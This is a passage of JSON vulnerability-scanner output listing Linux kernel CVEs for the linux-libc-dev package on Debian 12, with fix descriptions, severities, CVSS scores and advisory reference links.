"https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43205" ], "PublishedDate": "2026-05-06T12:16:39.747Z", "LastModifiedDate": "2026-06-17T10:49:09.007Z" }, { "VulnerabilityID": "CVE-2026-43206", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:51ae82430b0d36ca9ef1669ea67c45ec9f4af8316e05c73048a9833b391217be", "Title": "kernel: drm/amdkfd: Fix out-of-bounds write in kfd_event_page_set()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix out-of-bounds write in kfd_event_page_set()\n\nThe kfd_event_page_set() function writes KFD_SIGNAL_EVENT_LIMIT * 8\nbytes via memset without checking the buffer size parameter. This allows\nunprivileged userspace to trigger an out-of bounds kernel memory write\nby passing a small buffer, leading to potential privilege\nescalation.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-43206", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/8a70a26c9f34baea6c3199a9862ddaff4554a96d%20%287.0-rc1%29", "https://git.kernel.org/stable/c/3e04bc310d80b46eaf481f1fefcbcb37a187412d", "https://git.kernel.org/stable/c/4857c37c7ba9aa38b9a4c694e8bd8d0091c87940", "https://git.kernel.org/stable/c/4e72f419e4ed44cb3b60506752d8688c20a60a9b", "https://git.kernel.org/stable/c/75fb57efdd7863fffbc39db23e9cad7aafda26ed", "https://git.kernel.org/stable/c/8a70a26c9f34baea6c3199a9862ddaff4554a96d", "https://git.kernel.org/stable/c/b4034442cb090e4a980bdcc1540948606cbc951b", "https://git.kernel.org/stable/c/bfcd6b53e1f4feb182952f4ff9a137c36ceaf20b", "https://git.kernel.org/stable/c/de8d7a25cd2eb5875b1d8d4fbc7fe4b4138b781f", "https://linux.oracle.com/cve/CVE-2026-43206.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026050647-CVE-2026-43206-ca61@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43206", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43206" ], "PublishedDate": "2026-05-06T12:16:39.903Z", "LastModifiedDate": "2026-10-19T20:18:10.89Z" }, { "VulnerabilityID": "CVE-2026-43241", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43241", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:941a0d44b35dd0d5e3c708b0c4cdc587cf38b157a73d2f29ae8fcdcf12d36dae", "Title": "kernel: ntb: ntb_hw_switchtec: Fix array-index-out-of-bounds access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb: ntb_hw_switchtec: Fix array-index-out-of-bounds access\n\nNumber of MW LUTs depends on NTB configuration and can be set to MAX_MWS,\nThis patch protects against invalid index out of bounds access to mw_sizes\nWhen invalid access print message to user that configuration is not valid.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43241", "https://git.kernel.org/linus/c8ba7ad2cc1c7b90570aa347b8ebbe279f1eface%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0e930420945106151c6eb3d7837b4e6154e9b144", "https://git.kernel.org/stable/c/2346856b74823a2a78109002e479a3d02526a9ce", "https://git.kernel.org/stable/c/348e1ac9ad983ed7e62de14e1daf47f1695a4ce9", "https://git.kernel.org/stable/c/47ce292dd45dc689747c40603222691638919189", "https://git.kernel.org/stable/c/740945de896021b9a859e71f38f6aea72a6393cf", "https://git.kernel.org/stable/c/85c9daa1f8319bbb3dfee71dc6a2f969cd3b4c92", "https://git.kernel.org/stable/c/c8ba7ad2cc1c7b90570aa347b8ebbe279f1eface", "https://git.kernel.org/stable/c/ee02c4f980c91820845dd8e469ec7dc670ab6d9d", "https://lore.kernel.org/linux-cve-announce/2026050600-CVE-2026-43241-b0ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43241", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43241" ], "PublishedDate": "2026-05-06T12:16:44.46Z", "LastModifiedDate": "2026-06-17T10:49:13.273Z" }, { "VulnerabilityID": "CVE-2026-43250", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43250", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:10f9db466b0e4e903b0696ad46fa66fbf20f7937509e0947dc9a3e6e85aa9c5c", "Title": "kernel: usb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()\n\nThe ChipIdea UDC driver can encounter \"not page aligned sg buffer\"\nerrors when a USB device is reconnected after being disconnected\nduring an active transfer. This occurs because _ep_nuke() returns\nrequests to the gadget layer without properly unmapping DMA buffers\nor cleaning up scatter-gather bounce buffers.\n\nRoot cause:\nWhen a disconnect happens during a multi-segment DMA transfer, the\nrequest's num_mapped_sgs field and sgt.sgl pointer remain set with\nstale values. The request is returned to the gadget driver with status\n-ESHUTDOWN but still has active DMA state. If the gadget driver reuses\nthis request on reconnect without reinitializing it, the stale DMA\nstate causes _hardware_enqueue() to skip DMA mapping (seeing non-zero\nnum_mapped_sgs) and attempt to use freed/invalid DMA addresses,\nleading to alignment errors and potential memory corruption.\n\nThe normal completion path via _hardware_dequeue() properly calls\nusb_gadget_unmap_request_by_dev() and sglist_do_debounce() before\nreturning the request. The _ep_nuke() path must do the same cleanup\nto ensure requests are returned in a clean, reusable state.\n\nFix:\nAdd DMA unmapping and bounce buffer cleanup to _ep_nuke() to mirror\nthe cleanup sequence in _hardware_dequeue():\n- Call usb_gadget_unmap_request_by_dev() if num_mapped_sgs is set\n- Call sglist_do_debounce() with copy=false if bounce buffer exists\n\nThis ensures that when requests are returned due to endpoint shutdown,\nthey don't retain stale DMA mappings. The 'false' parameter to\nsglist_do_debounce() prevents copying data back (appropriate for\nshutdown path where transfer was aborted).", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43250", "https://git.kernel.org/linus/cea2a1257a3b5ea3e769a445b34af13e6aa5a123%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1497998749600411d75e60a44f7e572b2348bd9a", "https://git.kernel.org/stable/c/1b72b834511d17f4d069d512f78671f3f210a2f1", "https://git.kernel.org/stable/c/aad97c92119cb85db105ddda4a44c86cc0748e8c", "https://git.kernel.org/stable/c/cea2a1257a3b5ea3e769a445b34af13e6aa5a123", "https://git.kernel.org/stable/c/e74c436f8568af1c60942469d0a2300b3ada3857", "https://git.kernel.org/stable/c/f4fbf2d4750d12ac8525d2efac1016fa0d84d4ec", "https://lore.kernel.org/linux-cve-announce/2026050603-CVE-2026-43250-e395@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43250", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43250" ], "PublishedDate": "2026-05-06T12:16:45.62Z", "LastModifiedDate": "2026-10-30T13:18:49.393Z" }, { "VulnerabilityID": "CVE-2026-43281", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43281", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:684db8692ffd32e6e420f2c39fe362c20e11b23709600f97e9ac645eb2d8d64d", "Title": "kernel: mailbox: Prevent out-of-bounds access in fw_mbox_index_xlate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: Prevent out-of-bounds access in fw_mbox_index_xlate()\n\nAlthough it is guided that `#mbox-cells` must be at least 1, there are\nmany instances of `#mbox-cells = \u003c0\u003e;` in the device tree. If that is\nthe case and the corresponding mailbox controller does not provide\n`fw_xlate` and of_xlate` function pointers, `fw_mbox_index_xlate()` will\nbe used by default and out-of-bounds accesses could occur due to lack of\nbounds check in that function.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43281", "https://git.kernel.org/linus/fcd7f96c783626c07ee3ed75fa3739a8a2052310%20%287.0-rc1%29", "https://git.kernel.org/stable/c/01d9a8c2615d436b2b30c19c1afe9fcd5726ff6d", "https://git.kernel.org/stable/c/2662ed331a69c0b551f78af58f12eb629a89a36f", "https://git.kernel.org/stable/c/2c7ff651ec6b660c7c96a36db9328b3232f555d8", "https://git.kernel.org/stable/c/31c4c67dec3362094a6747a171a4848e98542265", "https://git.kernel.org/stable/c/4caae8168d1b808c7d4ff481295292e3f97f90fb", "https://git.kernel.org/stable/c/ec0874447895b994182a962d2fee9ef075de5efd", "https://git.kernel.org/stable/c/f50b39fd7c72a8734153644ee945ca0d8b2e65ab", "https://git.kernel.org/stable/c/fcd7f96c783626c07ee3ed75fa3739a8a2052310", "https://linux.oracle.com/cve/CVE-2026-43281.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050614-CVE-2026-43281-6031@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43281", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43281" ], "PublishedDate": "2026-05-06T12:16:49.587Z", "LastModifiedDate": "2026-11-06T16:18:32.137Z" }, { "VulnerabilityID": "CVE-2026-43284", "VendorIDs": [ "DSA-6258-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-3", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43284", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:389cb72e98fa0a71c02eb40fb89048e6e79b409288a163575118edb728bcce54", "Title": "kernel: \"Dirty Frag\" ESP XFRM variant is a new universal Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: esp: avoid in-place decrypt on shared skb frags\n\nMSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP\nmarks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),\nso later paths that may modify packet data can first make a private\ncopy. The IPv4/IPv6 datagram append paths did not set this flag when\nsplicing pages into UDP skbs.\n\nThat leaves an ESP-in-UDP packet made from shared pipe pages looking\nlike an ordinary uncloned nonlinear skb. ESP input then takes the no-COW\nfast path for uncloned skbs without a frag_list and decrypts in place\nover data that is not owned privately by the skb.\n\nMark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching\nTCP. Also make ESP input fall back to skb_cow_data() when the flag is\npresent, so ESP does not decrypt externally backed frags in place.\nPrivate nonlinear skb frags still use the existing fast path.\n\nThis intentionally does not change ESP output. In esp_output_head(),\nthe path that appends the ESP trailer to existing skb tailroom without\ncalling skb_cow_data() is not reachable for nonlinear skbs:\nskb_tailroom() returns zero when skb-\u003edata_len is nonzero, while ESP\ntailen is positive. Thus ESP output will either use the separate\ndestination-frag path or fall back to skb_cow_data().", "Severity": "HIGH", "CweIDs": [ "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "http://www.openwall.com/lists/oss-security/2026/05/08/7", "http://www.openwall.com/lists/oss-security/2026/05/13/6", "http://www.openwall.com/lists/oss-security/2026/05/14/2", "http://www.openwall.com/lists/oss-security/2026/05/14/4", "https://access.redhat.com/errata/RHSA-2026:16061", "https://access.redhat.com/errata/RHSA-2026:16062", "https://access.redhat.com/errata/RHSA-2026:16100", "https://access.redhat.com/errata/RHSA-2026:16155", "https://access.redhat.com/errata/RHSA-2026:16157", "https://access.redhat.com/errata/RHSA-2026:16160", "https://access.redhat.com/errata/RHSA-2026:16161", "https://access.redhat.com/errata/RHSA-2026:16171", "https://access.redhat.com/errata/RHSA-2026:16176", "https://access.redhat.com/errata/RHSA-2026:16180", "https://access.redhat.com/errata/RHSA-2026:16195", "https://access.redhat.com/errata/RHSA-2026:16196", "https://access.redhat.com/errata/RHSA-2026:16201", "https://access.redhat.com/errata/RHSA-2026:16202", "https://access.redhat.com/errata/RHSA-2026:16203", "https://access.redhat.com/errata/RHSA-2026:16204", "https://access.redhat.com/errata/RHSA-2026:16206", "https://access.redhat.com/errata/RHSA-2026:16254", "https://access.redhat.com/errata/RHSA-2026:16312", "https://access.redhat.com/errata/RHSA-2026:16314", "https://access.redhat.com/errata/RHSA-2026:16328", "https://access.redhat.com/errata/RHSA-2026:17795", "https://access.redhat.com/errata/RHSA-2026:18025", "https://access.redhat.com/errata/RHSA-2026:19074", "https://access.redhat.com/errata/RHSA-2026:19225", "https://access.redhat.com/errata/RHSA-2026:19564", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19572", "https://access.redhat.com/errata/RHSA-2026:19573", "https://access.redhat.com/errata/RHSA-2026:19574", "https://access.redhat.com/errata/RHSA-2026:19575", "https://access.redhat.com/errata/RHSA-2026:19577", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/security/cve/CVE-2026-43284", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", 